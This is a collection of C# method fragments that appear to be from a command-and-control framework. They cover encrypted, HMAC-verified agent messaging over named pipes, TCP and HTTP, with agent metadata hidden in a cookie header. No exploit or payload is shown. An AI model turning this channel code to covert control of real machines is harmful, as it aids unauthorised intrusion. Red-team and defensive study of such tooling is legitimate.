private void ServerReadCallback(IAsyncResult ar) { var state = ar.AsyncState as CommStateObject; var pipe = state.Worker as NamedPipeServerStream; var bytesRead = 0; try { bytesRead = pipe.EndRead(ar); } catch { } if (bytesRead > 0) { var data = ServerDataJuggle(bytesRead, pipe, state); if (Crypto.VerifyHMAC(data)) { var inbound = Crypto.Decrypt <AgentMessage>(data); if (inbound != null) { Inbound.Enqueue(inbound); } } } var outbound = new AgentMessage { Metadata = Metadata }; if (Outbound.Count > 0) { outbound = Outbound.Dequeue(); } var dataToSend = Crypto.Encrypt(outbound); pipe.BeginWrite(dataToSend, 0, dataToSend.Length, new AsyncCallback(ServerWriteCallback), pipe); }
private void ProcessTeamServerResponse(byte[] result) { if (Crypto.VerifyHMAC(result)) { var message = Crypto.Decrypt <AgentMessage>(result); if (message != null) { Inbound.Enqueue(message); } } }
private void ServerReadCallback(IAsyncResult ar) { var state = ar.AsyncState as CommStateObject; var stream = state.Worker as NetworkStream; var bytesRead = 0; try { bytesRead = stream.EndRead(ar); } catch { } if (bytesRead > 0) { var data = DataJuggle(bytesRead, stream, state); if (Crypto.VerifyHMAC(data)) { var inbound = Crypto.Decrypt <AgentMessage>(data); if (inbound != null) { Inbound.Enqueue(inbound); } } AgentMessage outbound = new AgentMessage { Metadata = Metadata }; if (Outbound.Count > 0) { outbound = Outbound.Dequeue(); } var encrypted = Crypto.Encrypt(outbound); stream.BeginWrite(encrypted, 0, encrypted.Length, new AsyncCallback(ServerWriteCallback), stream); } }
private List <AgentMessage> ExtractAgentMessage(string webRequest) { List <AgentMessage> message = null; var regex = Regex.Match(webRequest, "Message=([^\\s]+)"); if (regex.Captures.Count > 0) { var encrypted = Convert.FromBase64String(regex.Groups[1].Value); if (CryptoController.VerifyHMAC(encrypted)) { message = CryptoController.Decrypt <List <AgentMessage> >(encrypted); } else { OnAgentEvent?.Invoke(this, new AgentEvent("", AgentEventType.CryptoError, "HMAC validation failed on AgentMessage")); } } return(message); }
private AgentMetadata ExtractAgentMetadata(string webRequest) { AgentMetadata metadata = null; var regex = Regex.Match(webRequest, "Cookie: Metadata=([^\\s].*)"); if (regex.Captures.Count > 0) { var encrypted = Convert.FromBase64String(regex.Groups[1].Value); if (CryptoController.VerifyHMAC(encrypted)) { metadata = CryptoController.Decrypt <AgentMetadata>(encrypted); } else { OnAgentEvent?.Invoke(this, new AgentEvent("", AgentEventType.CryptoError, "HMAC validation failed on AgentMetadata")); } } return(metadata); }